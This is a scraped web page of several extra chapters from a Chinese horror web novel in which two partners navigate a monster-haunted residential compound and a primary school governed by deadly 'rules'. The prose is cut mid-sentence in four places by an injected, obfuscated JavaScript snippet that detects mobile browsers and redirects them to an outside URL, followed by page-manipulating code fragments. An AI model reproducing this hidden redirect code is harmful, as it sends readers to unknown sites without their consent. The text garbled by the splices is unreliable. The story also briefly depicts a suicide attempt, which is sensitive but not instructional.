和外间建筑不同,从踏入其中的那一刻开始,那股闻淙曾在【物业工作人员】身旁嗅到过的、带着酸味的腐臭气息便变得无比清晰起来。 不止如此。几步路的工夫,他就往脚底下看了好几眼。总觉得脚下十分柔软,不像表面看起来的大理石地板,更像某种颇为厚实的肉质。 这是…… 宁琤揪了一下闻淙的衣服。青年蓦地回过神,闭上嘴,继续往前走。 “咯吱… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14946092|155253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …咯吱……” “咕嘟……” 奇怪的声音还在不断往耳朵里钻。 某个刹那,闻淙脑子里冒出了一个念头。 自己和哥,不会就这么被“消化”了吧? 小区叫【明月湾】,可从闻淙这几天的生活经历来看,里头的各样实务显然和月亮没有关系。 话说回来,大门口那个弯弯的月亮形象像个什么来着? 他紧张地胡思乱想。紧张地在肉粉色工作服的指挥下开始填表。紧张地发现不单是带自己二人进来的那位显然不是人的【工作人员】,在场其他穿着同样制服的类人存在走起路来都从来不抬脚。 等到被告知手续办完、可以离开的时候,闻淙总觉得有些难以置信,“啊?这就结束了?”不用他和哥与反派大战三百回合? 肉粉色工作服瞥他一眼,干巴巴地回答:“是的。欢迎您入住明月湾小区。” 闻淙喉结滚动一下,心头奇异地生出一种自己是真的在这诡异世界定居了的真实感。 离开办公楼后,两人重新回到四号楼。 让闻淙意外的是,402并没有消失,屋门还是和401并列。 可在他以为这是【合并】并未完成、还需要继续等待的时候,宁琤推开了401的房门,里头的一切的确变得不同了。 “还没反应过来?”宁琤看他,“这地方的单元楼能增加、减少,那屋子当然也可以直接扩大。” 闻淙抓抓头,“也是。” 两人中午叫了外卖,下午便像闻淙计划的一样,做了一下午“夜宵”。 到了晚间,依然是饭后,两人从浴室里出来,一起懒洋洋地躺在床上发呆,宁琤突然想到另一件事。 “还没来得及问你呢。”他道,“这周你具体是怎么过的?任务是什么,都碰到了些什么【规则】?” 闻淙知道他从前的习惯,可这会儿还是有点意外:“哥,你现在还在继续做记录?” 宁琤瞥他,“你知道光这个小区里就有多少东西可以吃了咱们不吐皮吗?”都说人类卷,可不是人之后得比之前还要卷,“不知道啊?那这些东西里又有多少能被隔壁小学吃了不吐皮?” 利用强大存在的【规则】,也是他们这种普通人……不对,非人生物的重要生存法门。 很有道理。闻淙把男朋友扒拉进怀里,感受着身体贴合之处源源不断传来的、属于宁琤的体温,他心平气静,眼神放空了点,开始回忆。 “嗯……那就从头开始说吧。 “带我进来的是这次分到体育课的那个‘老师’。姓赵,叫赵驰。我们一开始就说好了,我给他一个道具,他带我进这场【游戏】。进来以后我肯定一门心思找你,他后面怎么样就靠自己了。” 对对方来说,这虽然和平日里人们寻找【高玩】带自己过关不同,却照旧是一笔极为划算的买卖。 别看宁琤手中有一堆道具,可这是源于宁旭升等人长达二十年的积累。对于一般人来说,在通过七、八场恐怖世界的逃生旅途后,能拥有一件道具都是幸事了。 “哥,你应该见过他。”闻淙又说,“昨天最后那会儿,那个被咬掉一条胳膊的就是。现在他应该已经好了。” 33.番外五(二) 早前闻淙便曾和宁琤说起过,他到【光明小学】报道的时候,同行的还有另外七名玩家。 众人刚从迷雾中走出、看到眼前校门的时候,都表现得十分谨慎。 虽然任务通知已经下来了,要求他们在本周五放学前“找到失踪的学生”,但他们还没弄明白自己的身份呢。是作为“自己”来活动,还是作为恐怖世界中的某个“角色”来活动,情况可是大不相同的。 不过,大伙儿也都有经验,知道这会儿只需要少说话、多找线索,应该很快就能得到答案。 果然,不多时,一个中年男人笑呵呵地从校门中走出来,欢迎道:“大家好!你们就是新来学校报道的实习老师吧?我姓郑,在咱们学校担任政教主任的职务。今天呢,就由我带着大家稍微参观一下学校,也讲讲你们接下来的工作。” 众人便了然,看来这位就是本局的“指引NPC了”。 “这是你们的工作牌。”郑主任又掏出一叠塑料卡片,“在学校的时候可得拿好啊!万一丢了,可得尽快去政教处补上。别看咱们是个小学,可学生闹腾起来哟……也就碰到老师的时候,他们能安分一点。” 众人登时严肃起来,一个个将牌子接过。 闻淙低头去看,见那薄薄的塑料片上已经印好自己的照片、姓名,还有任教科目和负责班级。 那位主任的话已经提示得很明显了。这所学校的学生可不会是人,或者至少不全是人。 教师身份对非人学生有压制作用,而身份本身需要牌子来证明。 至于补办之类的话,听听就好,估计也没人会信。 “闻小哥,”赵驰谨记闻淙前面说过的话,知道人随时可能走,便抓紧时间打听消息,“我是给五年级上体育课,你呢?” “五年级,美术。”闻淙道。 “我是数学。”旁边另一个青年男性开了口,“也是五年级,教一班和二班。你们呢,也一样吗?” 闻淙看他的牌子。原来这个人姓姚,叫姚谦。 “不是,”赵驰道,“我们都是负责一个年级的,这里头还有差别吗?” “可能是课程重要性的区别。”又有人插话了,“我是音乐课,也要负责一个年级。” 众人一边跟着郑主任参观学校,一边交流情况,很快弄明白:八个【玩家】中,美音体和道法课的老师都是给整个年级任教,数学和英语老师则是一人负责两个班。 结合他们参观到办公楼时见到的五年级课表,这应该是为了平衡每个人的课程量。可哪怕是平衡过的课程量,美音体老师还是远远少于其他人。 既然如此,等到政教主任离开,大伙儿分配初步探索工作时的情况也就很明白了。闻淙等三个美音体老师肩负更多任务,其余人则只需要在教学楼、办公楼探索。当然,在这同时他们也要尽量利用课程时间观察学生,从他们身上回去线索。 闻淙听着他们的任务分配。从经验上看,众人的想法不算错,但他并不打算遵守。 等到赵驰犹豫的目光第不知道多少次落在他脸上,闻淙开口了:“我不参与你们之前说的学校搜索。” 态度之生硬,让其余人纷纷意外。一时之间,所有人都看向闻淙。 眼神里仿佛写着“不是吧,都这么后面的场次了,怎么还有这种蠢货”。 闻淙对此不以为意,继续道:“大家也看到了,咱们是从校外进入校内的……” 有人打断他。对方扶了扶眼镜,道:“到了后面,【游戏】的地图本来就会扩大。” “温老师说得对。”闻淙假笑了一下,脸上看不出什么不快平静地说,“这也是我想说的。到了现在,每一场任务开展的场地、其中的角色,其实都可以和外界产生关联。” 众人一怔。 在他们各异的目光中,闻淙收敛笑意,继续道:“刚才郑主任已经带咱们看过了,这所学校有教学楼、办公楼,操场,食堂,甚至是教师宿舍,但还是缺少了一个地方。学生宿舍。 “也就是说,咱们要面对的学生应该全部都是走读的。 “‘找到失踪的学生’——我想大家应该也不能确定,这名学生会在校内失踪,还是校外。” 一番话,把众人说得沉默了。 如果他们还是新人,当然可以只把视线局限在校园当中。可眼下,闻淙讲的话,似乎也是一种不容忽视的可能。 “闻老师这么说,”一名女玩家开口了,她工作证上的名字是“贾简”,接下来要负责五年级三班、四班的数学课,“是不是之前有过类似的经验?” 闻淙先看了她的工作牌,再看向她本人,点头道:“是这样。我知道有些人会认为往外探索是浪费时间,所以这份时间就让我来浪费吧。当然,危险也由我个人承担。” 这不是说谎。虽然这趟进来的最终目的是找到宁琤、乃至留下在这个世界,但完成任务也是必做的事。 【明月湾小区】距离【光明小学】那么近,二者之前必然存在某些联系。就像哥从前总在说的,不能总拿看鬼怪的目光来看那些诡异存在。【它们】既然能和人沟通,就必然存在与人类类似的生活模式。 ——拿和这局有关系的话来说,他们要在课堂上面对的小学生,很有可能就住在隔壁小区。 和哥是邻居。 想到这儿,闻淙唇角又露出一点笑意。这点笑意比方才真心许多,众人看在眼中,恍然意识到,原来这个主导了他们刚才谈话内容、任务思路的青年岁数还很小,大约只有二十出头的年纪。 “我觉得可行。”赵驰忽地开了口,“这学校说白了也不大,就算是细细地搜,又能用多久?我自己是不敢往外跑的,要是闻老师愿意,那我个人是觉得没问题哈。” 有了他打开局面,后头的事就变得容易起来。陆陆续续的,包括前面提出异议的那位英语温老师,也认可了闻淙的计划。 “既然这样,”闻淙趁热打铁,“那请帮个小忙吧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14948960|155253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郑主任前面说了,老师在学校食堂吃饭是不用付钱的,住宿问题大家也不用考虑。这么算下来,大伙儿接下来应该没有花钱的时候。 “我看过了,自己浑身上下口袋包起来加起来大概是二百出头。大伙儿应该多多少少也有点零钱,能不能都借给我? “放心,后续我找到的任何线索,都会无偿和大家共享。” 就这样,闻淙从玩家们手中拿到了足够的钱作为自己接下来行动的资金。之后,他脱离队伍,去找了政教主任。 见了他,郑主任明显很惊讶,“呀!小闻老师,是有什么事吗?” 闻淙面不改色地忽略掉对方嘴角的不明红色,心想自己之前不是已经敲门了吗,这家伙怎么……哦,或许是在吃红心火龙果。 “我想请个假。”他表现得很老实,“郑主任,今天不是大伙儿第一天报道吗?咱们宿舍的条件是挺不错,但我有些个人原因,还是想去隔壁小区看看有没有合适租下来的房子。” “这样啊。”郑主任沉吟,“咱们现在是上班时间,正常情况的话,还是希望老师们安安稳稳地坐班。” 闻淙叹气:“这,好,理解。” 郑主任看看他,话锋一转,“而且啊,小闻老师,你可能不太了解。据我所知,隔壁租房最少也是要签一个月合同的。咱们学校的实习老师流动性一直都挺大,如果最后留不在学校,基本都是待一个月就走了。到时候你都不在这边上班,还租着房子,不是浪费钱么?” 说这话的时候,郑主任笑呵呵的,眉目间甚至透出了几分亲切。 闻淙听着他的话,却是大脑快速转动,迅速从中提取到几个重点。 第一,郑主任对【游戏】会送人来这儿的事情似乎不是一无所知; 第二,和隔壁小区签了租住合同,似乎会影响【游戏】在这场结束后送自己走。 这恐怕就是郑主任和自己废话的原因了。 此刻的闻淙已经百分百确定,政教主任并不是活人。而眼前世界中的鬼东西们最喜欢什么?当然是吃人了。 【它】必然是受到限制的,不能直接对闻淙下手……下口,但如果闻淙主动留了下来,在失去高级诡异庇护的情况下,郑主任一定很愿意吃份点心。 于是闻淙脸上的遗憾更深重了,“是吗?我本来想的就是签上一个月,以后怎么样再说。钱都准备好了,主任你看。” 他说着话,从口袋里抽出一叠钞票。没别的意思,就是告诉某非人主任,自己绝不是嘴上说说。 后者果然十分高兴地松了口:“既然你都已经想好了,那也不是不能特事特办。这样吧,我给你批个条子。对了,你今天没课吧?” “没有。”闻淙确定道,“我的课安排在后面,正好一天一节。” 有了这句话,他顺利地从郑主任口中拿到假条。 再有…… 闻淙垂下眼,眸光微动, 实习老师,果然是可以留在学校的。 34.番外五(三) 时隔大半年,闻淙又一次站在了熟悉而陌生的小区大门口。 他上回来到这儿的时候,还是与宁琤相伴同行。一对亲密爱侣,加上另几个【玩家】,众人一同听当时的“指引NPC”一起进入小区。 他们的身份是装修工人,需要分成数组,完成小区内几间房屋的粉刷。【队长】临走前告诉他们,自己和雇主会在三天后回来检查。 听起来并不是一个多么特殊的工作,最终却只有闻淙一人从中离开。深究缘由,到底还是他们没察觉到任务之外的危险。 往后,独自一人时,闻淙偶尔会想:“如果哥还在,他这会儿应该在认认真真地复盘、确定我们是从哪一步开始出错。还会把我们的经验上传到论坛里,给其他人警戒。” 从前自己也有独自进【游戏】的经历,那会儿他同样会完成上述步骤。可眼下,闻淙只觉得浑身力气都被抽走。只能沉默地思念,沉默地痛苦。 追随宁琤离去的心思出现过很多次,闻淙甚至曾提着刀子进了浴缸。可到了手腕被划开之前的一刹,他又想到宁琤在生命最后时刻朝自己喊的话。 “小淙,你一定要活下去!” 冰冷的刀刃落在地面上,发出清脆声响,闻淙却已经完全没有心思留意了。 强烈的悲伤织出一张细密大网,将他完全笼罩其中。他跪在瓷砖地板上,最初只是呜咽,后面成了嚎啕大哭。 这好像又应了哥曾经的一句“幼稚”,可是—— 可是,那个会在说完他“幼稚”之后答应他所有要求,会一心一意爱他关心他想让他幸福快乐的人,已经离开了啊! “哥,”闻淙的嗓音也变得沙哑模糊了,“你不在了,我怎么可能……” 再幸福快乐。 用力闭了闭眼睛,再睁开时,青年的眼神重新变得坚定。 他知道自己可能又会遇到危险,甚至很有可能根本无法去到宁琤面前,可好不容易才有一次尝试的机会,又怎么可能不去做? 闻淙迈开脚步,踏入小区。 目标—— 先看看有没有什么地方贴着租房讯息吧。 坏消息,作为面生的外来活人,闻淙很快被【水果店老板】盯上了。好不容易脱身,走时却还是不得不买了一袋苹果。 好消息,拎上苹果后不久,闻淙就找到了小区公告栏,并且在上面发现了自己需要的租房讯息。 看着上面的文字,他的心跳明显变快了。 虽然已经隔了接近两百个日夜,闻淙却依然清楚记得那间吞噬了宁琤的屋子是哪一楼、哪一户。 他原本抱有的最坏念头,是如果自己实在无法在小区中落脚,便直接找上门去,看能否见到宁琤。 这无疑是个充满风险的做法。闻淙不知道自己能否敲开屋门,更不确定来见自己的究竟会是谁。猴爪的故事大家都听说过,谁能确保“活过来”的皮囊下还是曾经的灵魂? 闻淙其实也充满了忐忑。只是想到自己曾听到的、这个世界的“宁琤”曾经在其他【游戏】中帮了旁人的状况,他还是深吸一口气,拨通了租房广告下的电话。 事情进展得十分顺利。他没有见到房东本人,只是在对方的指点下去到物管会办公室,从中拿出租房合同和钥匙。 在他往合同上签字的时候,物管会的工作人员几次露出想要说些什么的神色。可在看到闻淙手边的苹果袋时,对方还是放弃了。 前期手续结束后,闻淙摸摸胸膛,怀着紧张而期待的心情上楼。 他是以最坏的准备去敲401的屋门,没想到,得到了最好的结果。 许久以来,闻淙第一次微笑着入梦。 第二天,他一大早就去了学校。距离开课还有一段时间,想了想,闻淙先来到食堂。 和他预判的一样,其他人果然正聚在这里讨论。闻淙打了饭,坐下来边听边梳理现有线索。 不出所料,众人昨晚睡得并不安宁。而作为唯独一个单独住的人,赵驰是脸色最差的那个。 据他说,自己昨夜睡到一半儿,迷迷糊糊地醒来、看到自己旁边的床上也有人睡着。他当时只是觉得奇怪,闻淙不是说自己要去隔壁小区吗,为什么大晚上又回来了?……可毕竟太困,于是眼皮抬到一半儿,就又压了回去,再度落入梦乡。 天亮醒来,看着空空如也、平平整整的床铺,才意识到不对,随即出了一身冷汗。 “《教师宿舍安全管理制度》第十条,”坐在桌子对面的贾简开口了,“宿舍建筑老旧,隔音较差。为了保证住校教师休息质量,夜间请勿发出太大声响。 “这条应该就是在防备赵老师遇到的情况。如果你有了反应,无论是问床上的假闻老师情况,还是被吓到发出其他动静,事情可能都……” 贾简没有再说下去。赵驰这会儿脸色实在太差了,不好再继续刺激他。 闻淙倒是对她的话很有兴趣:“贾老师,你是把学校里所有制度都背下来了吗?” 他昨天参观的时候是给《食堂用餐管理制度》《操场使用指南》《教师守则》等等众人这些天需要留意的【规则】拍了照片,回去后也用心琢磨过、记下其中不能违背的各个要点,但要说像贾简一样一字不漏地背诵,还是做不到的。 等到贾简点了头,其他人也大概意识到闻淙前面问话的缘由。与贾简坐在一起的另一个女老师司思稍稍松了口气,道:“我还在想呢,不出意外的话,‘失踪学生’应该就出在五年级了。可就算只有四个班,那也是一百多号人啊! “昨天上课的时候我除了念书,就是对着花名册记学生的脸,可还是……现在知道咱们这些人里有个记性好的,总算能放心点儿了。” 听到这里,贾简短促地笑了一下,很快又收敛神色:“但我只教三班、四班的数学,这两个班的学生我是都记下来了,一班二班可能还要靠姚老师、黄老师。” 随着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14952857|155253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的话音,众人又看向被提到的两个男老师。 姚谦与黄文墨深感压力,前者连忙转移话题,“闻老师,我们这边大概情况就是这样。对学校的‘禁忌’呢,是有些心得,也都整理下来发群里了。”其实就是对【规则】的一些提炼。比如教学楼天台不能上,用餐时间结束后不能停留在食堂一类。“学生那边的线索,暂时还是没什么收获。你呢,有没有什么要补充的?” 闻淙听着对方的问题,笑了:“我已经在隔壁小区落脚,不过现在是没什么成型思路。”一顿,“大家放心,我接下来一定也会积极探索。” 众人相互看看。事已至此,放不放心都不会有什么变化了,只希望闻淙真能另辟蹊径吧。 他们不知道的是,闻淙此刻在想:“从昨天的情况来看,哥十有八九还是哥本人……他见了我,肯定很生气、很不想让我留在这儿,但要说是和任务有关的事,一定还是会帮我。” 他打定主意,今晚回去一定要和宁琤探探消息。却没想到,白日正上课呢,线索就撞到了自己眼皮子底下。 两个学生当堂打了起来,绘画用的颜料撒了闻淙一身。他来不及管自己衣服怎么样,低头确认过工作牌还在、并未有损坏后,便将两个打闹的男生拉了起来。 动作间,目光在挨打的男生脸上转了好几圈。 “失踪的学生”会是他吗?无论是受到霸凌、主动离开校园,还是干脆受害…… 短短时间当中,闻淙脑海里闪过许多念头。 听到学生斗殴的消息,五年级一班的班主任快速赶到现场。 在她处理两个学生之间矛盾的时候,闻淙又留意到一件事。 对方看起来是很生气没错,可给出的惩罚并不严重,只是让打人的那边写个检讨罢了。 无论是这位老师,还是两位当事人同学,仿佛都没把刚刚发生的事放在心上——也不对,打人的薛同学一直在偷偷看挨打的王同学,还不时再捏一下拳头,像是某种威胁。 将这些看在眼中,等到两个学生被班主任允许离开后,闻淙又额外叫住挨打的学生,认真地把自己的手机号给了对方。 “我知道你们上学的时候不能带机子。”他说,“但换个角度想,在学校的时候被欺负了,可以及时找老师保护你,其他同学也会尽量帮助你。可要是在外面遇到什么问题,再想找人,是不是就不太容易了? “我保证手机是24小时畅通。要是真有了什么麻烦,你一定第一时间联系我。” 在他的话音中,脸上还带着红印子的男生默默低头,去看手上的纸条。 “我知道了。”他说,嗓音竟然十分平静,“谢谢老师。” 这个表现…… 闻淙脸上还是担忧的神色,心头却是微微一凛。 他前面其实还不太确信,可眼下,却是生出一种强烈的预感。 众人一直在寻找的任务突破口,恐怕就在眼前的男生身上! 35.番外五(四) 几个小时后,闻淙得到了更加确切的答案。 这次任务的突破点,就在以王宇晨为中心、五年级一班所有身份是“狼”的学生身上! 再有,朱姐和她的女儿明显也不是人,朱陆仪真的是她号称的“女巫”吗? 闻淙在怀疑对方和信任对方之间权衡着,还没想出一个结果,就接到了宁琤递过来的纸杯。 嗯,还有那袋子看起来就血淋淋、十分吓人的“凉拌菜”。 只要那是哥,就绝对不会害自己。相反,他一定会想方设法地帮助自己。 抱着这样的念头,回到自己租住的房子之后,闻淙开始一边嚼“凉拌菜”里的眼珠状物体,一边对着纸杯里的茶水琢磨。 思来想去,朱陆仪脑袋上那整整齐齐的八根辫子又一次出现在闻淙的记忆当中。 他脑袋上慢慢亮起一个灯泡。很快,青年端着纸杯,去找阳台上的盆栽验证想法。 常年画画的人,手基本都是稳的。几滴液体被小心翼翼地送入盆栽中的花苞内,下一秒,闻淙便见那乍看纤弱的花苞忽地朝两边裂开,露出其中尚未长成的一口嫩牙。 再接着,细细的牙齿下方,花萼明显地泛出了死灰色。 几声“嗬……嗬……”动静传了出来,像是某种垂死之际的挣扎。 终于,那些米粒似的牙齿从花萼上落了下去,下方的植物茎条也一并变得枯败。 整个过程不超过五分钟。看完全场后,闻淙手都还停留在原处。 他心情复杂,缓缓将倾斜的杯子端正了,用敬仰的目光看着那平平无奇的纸壁。 根本想不到啊,这玩意儿比刚刚那朵再长上几天就能吃人了的【花】还厉害? 你们怪谈世界的东西就是不容小觑。 话又说回来了,十有八九能从母亲身上继承这种能力的朱陆仪真的有必要通过学校里的“游戏”来吃小朋友吗? 几分钟的思考后,闻淙在心里给这个问题画上一个大大的叉号。接着,他的神色一点点变得严肃。 往后一夜嘈杂自不必说。要是平常,闻淙自然也会睡不好。但想到男朋友就在自己隔壁,还特地强调了让自己好好休息。哪怕躺在刀山火海上,闻淙都得用最快的速度进入梦乡。 第二天,带着还算饱满的精神状态,他再度在食堂与其他人见面。 昨夜宿舍楼明显又出了事。不光赵驰,其他人脸上也都透出鲜明疲惫。 闻淙坐在他们中间,实在是显得突出。 他咳了声,也没卖关子,直接将自己昨夜听到的线索和盘托出。 话说出来,还在判断究竟哪个学生后面会失踪的众人齐齐哑然。 周围学生来来去去,“实习老师”们却始终没有动静。 “这真是。”最后照旧是赵驰打破了沉默,“要是光靠我们在学校里当无头苍蝇,不知道要等到什么时候才能把事儿整明白!小闻哥,你有一手啊!” 和其他人不同,作为引闻淙进入本局的人,他对闻淙出现在这儿的真实目的不说心知肚明,也知道七七八八。因此,虽然前面有在帮闻淙说话,可赵驰始终觉得,闻淙恐怕并不会对本场【游戏】起到什么帮助。 也无所谓。道具都到手了,多个闲人有什么要紧? 却没想到,正是对方找到了截至当下众人得到的最重要一条线索。 原有的思路被完全推翻,众人终于回过神,七嘴八舌地考虑起接下来要怎么做。 看来王宇晨是“狼”的事儿在一班学生那里根本不是秘密,己方迟早能打听到。如此一来,他是导致旁人失踪的罪魁祸首的可能性反倒低了下去。 任务的答案不会这么简单。当然,继续盯着他也是必须的。 除此之外呢?闻淙又提出来:“有一件事,也希望大家考虑一下。除了咱们要面对的【规则】外,《学生守则》咱们也是见过的。上面提了一点,在校期间,学生禁止开展‘游戏’。” 贾简点点头,是有这么一回事。 闻淙:“按照昨晚我见到的学生的说法,五年级一班很明显是违反了这项【规定】。不过他们大约隐藏得比较好,直到现在,事情还没有被班主任察觉。 “那么?咱们要把这件事捅破吗?” 餐桌又一次变得安静。 短暂思考后,贾简谨慎地说:“如果加入‘游戏’的学生只是少数,我赞同这个做法。但现在,从闻老师得到的情报看,整个五年级一班都在这个范围里。那我觉得,告诉班主任的意义不大。” “我也觉得。”黄文墨道。他此前一直没什么存在感,这会儿开了口,却还是显得有些紧张,“这两天我也一直在考虑一件事。这所学校里,到底多少老师学生是人,多少老师学生不是?……看来看去,觉得其实判断起来也不难,从‘权力’下手就行。 “看《教师守则》可能还不明显,但从《学生守则》上看,教师的‘权力’是要远远高于学生的。同时呢,班主任的‘权力’又比普通老师高一点。” 如果普通老师还有五成概率是人,班主任恐怕只剩半成。 众人听着,纷纷点头。唯独一个赵驰,脑袋都落下去了忽然觉得自己好像更应该站在闻淙那边,于是匆匆又拿出斟酌的样子。 “我赞同黄老师的话。”一个男玩家扶着眼镜说。标志性动作让闻淙一下子想起来,对方就是周一那天打断过他的话的人。 眼镜男继续道:“今天是第三天,也是这一场进展过半的一天。根据过往经验,哪怕是和咱们任务无关的诡异,这会儿也已经出现枷锁松动的情况。如非必要,咱们还是减少和【它们】的接触比较好。” 到这里,已经有三人直接表态。赵驰之外的其他人虽未开口,可看神色,也是赞同他们更多一点。 闻淙没再分辩:“好,先听你们的。” 又一番讨论后,任务分配正式出炉。 众人被列为两组。贾简、温狄他们几个会负责盯着打人的学生薛沐阳,闻淙、赵驰,再加上姚、黄两个,则负责确定挨打学生王宇晨的动向。确保他不要再伤人,也看他会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14952858|155253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不会和其他“狼”接触。 考虑到后面两个人排课更多,与闻淙一起的更多还是赵驰。 和闻淙私下相处的时候,他积极表态,说自己一切都听小闻哥的。 潜台词无疑是:“我知道你手上肯定还有其他道具,要是遇到事儿了一定要拉我一把啊!我的道具,咳咳,最好还是省着。” 闻淙对此表示理解,却并未答应。 他选择与赵驰商量:“这里的【规则】要求学生上课时间必须待在课程地点,也就是说王宇晨自由活动的时间其实不多。满打满算,是六个课间加上中午吃饭。” 赵驰点了头,闻淙便继续道:“这么看,咱们‘老师’的身份还算好用,没那么多条条框框限制。这样,咱们还是两条线下手。要自己盯着‘狼’,也要尽量和学生打听,看能不能发现什么新线索。 “今天一班不是有体育课吗?给他们一点自由活动的时间,没准能看出什么。 “你觉得怎么样?——赵老师,别说‘都听我的’。你知道,我还有其他事要做。” 这话让赵驰顿了顿,从抱大腿的心思中短暂抽离。 他心态还算乐观,也知道闻淙这么说才是不忽悠自己、让自己平白卖命。仔细琢磨片刻后,赵驰道:“我觉得可行。” 事情就这么说定了。姚谦和黄文墨那边,两人也打了招呼。 往后每个课间,都总有几个“实习老师”在五年级一班外面转悠。可经历了昨天摆在明面上的冲突,学生们似乎也意识到自己违反规定的事儿被发现的风险。不光事件中心的两人,其他人一样显得老老实实、万分和睦。 吃午饭的时候,众人又聚了一次。赵驰抱怨:“四十五分钟一节课,我给了他们半个小时的自由活动,可还是什么都没看出来!六头‘狼’,难道真是各顾各的?” 迟迟没有线索,无怪他开始心浮气躁。可赵驰的话还是给贾简提了一个醒,“不至于。咱们得考虑到,这本身毕竟是一个‘游戏’,基本的游戏逻辑还是有的。‘狼’们必然知道彼此的身份,也必然会在行动之前商量。只不过,他们一周只有一个猎杀的名额,现在可能还没有到动手的时候。” “真动手恐怕就晚了。”姚谦弱弱道。 眼镜男突发奇想:“有没有可能,任务提出里的‘失踪学生’确实是指一个目前还没有失踪的同学?闻老师的消息来源偶然性实在太强,而【游戏】不会给出无法完成的要求。咱们就是太为这事儿震惊,反倒被绕进去了。” 似乎也有道理。 众人再度陷入思索,赵驰则意识到,自己前面的话仿佛是在质疑闻淙。 他匆匆补救:“但你们说,有没有可能‘狼’其实是在校外商量的?” 哦咯。 “要真是这样,”贾简缓缓说,“咱们恐怕的确得把重点放在和学生打听上了。不过从我这几天的经历来看,这里学生的警惕性都很高。三班、四班都是这样,跟不用说本身就在违背校规的一班。” 任务仿佛走进了死胡同。 36.番外五(五) 能在校外和学生交流的闻淙,成了这个死胡同的突破口。 迎着众人充满这种意味的目光,闻淙自己倒还是很镇定。再找朱陆仪问问吗?……不是不行,可至少眼下还没到那步。 他笑道:“可能是我刚才没说清楚,让大家产生了一些误解,觉得我从朱同学那里得到消息是件挺容易的事。” 然而如果不是有宁琤在,他八成刚敲完门就被吊在那对母女的厨房里了。 闻淙和善地表示:“如果真有人愿意和她接触,我可以提供昨晚的所有具体细节。” 这话出来,大伙儿一起哑然,最后还是贾简道:“闻老师,我们也不是那个意思,主要是觉得你已经和她打过交道了。这样吧,今天还是按照前面的计划来。” 闻淙笑着答应。 愿意透露三言两语的学生肯定不光朱陆仪一个。八名“实习老师”对上三十六名学生,每个人都分几个才是正理。 当然,要是面儿上的工作做完后依然找不到线索,再考虑给朱家母女送菜也不迟。 午饭时间结束,大伙儿再度忙碌起来。 闻淙拿着自己负责的学生名单,目光落在上面,脑子里想的却是另一件事。 把自己送给政教主任吃是不太可能的,那还能用什么办法,才能从对方口中换到留在学校的方式呢? 闻淙发呆,远目。 哥是不是说过,【它们】其实是一个对自己群体里其他成员也充满食欲的美食种族? 接下来半天时间,闻淙都在一边找学生聊天,一边思考这个问题。 大约也是过于心不在焉的缘故。几个学生聊下来,不能说他毫无收获,这些“收获”却也实在谈不上线索。 “几年前有学生压力太大,从天台跳了下来,后面《学生手册》里才加了‘天台的围栏年久失修,未避免学生出现危险,禁止学生上楼’的内容。” “放学时间之后,除了有住校证明的教职工,其他人必须尽快离开学校,再要不然就要去找校长开加班条。” “校长?没见过呀。每学期最开始的时候他会讲一次话,但我站得位置太靠后了,根本看不见前面的台子。” “……” 关于学校的传闻听了乱七八糟一堆,关于五年级一班的小游戏却半点儿风声都没透出来。 考虑到如果一切顺利,这儿以后就是自己的工作地点,闻淙还是把这些消息照单全收。 转眼到了临近放学的时候。闻淙暂且收心,开始拿期盼的目光看着手机上的时间。 他恨不得插上翅膀飞回去见男朋友,偏偏这时候姚谦来找他,说黄文墨失踪了。 闻淙帮着想了办法,心里却已经觉得黄文墨生存的可能性不大。 在他守在政教主任办公室门口、等人开门的时候,“实习老师”们的群里已经陆陆续续出现汇报:“一班所有学生都在教室,包括王宇晨。” “我去食堂看了。门是关着的,没有明显痕迹。” “也没回宿舍。”这个是姚谦,“我还在楼后面的空地上转了一圈,没什么发现。” “……” 一条条信息刷下来,最后一个发言的是贾简。 “这么下去不是办法。”她说,“咱们得朝那些平时不能去,或者去了也不能长时间停留的地方考虑。教学楼天台,体育馆器材室,食堂仓库……” 没有人回复。 就连姚谦,也落入哑然。 其实他们这局的【玩家】素质已经挺不错了。都愿意做事,也没什么内斗的迹象。可“愿意大伙儿一块儿活”,不代表“愿意为了其他人直接涉险”。 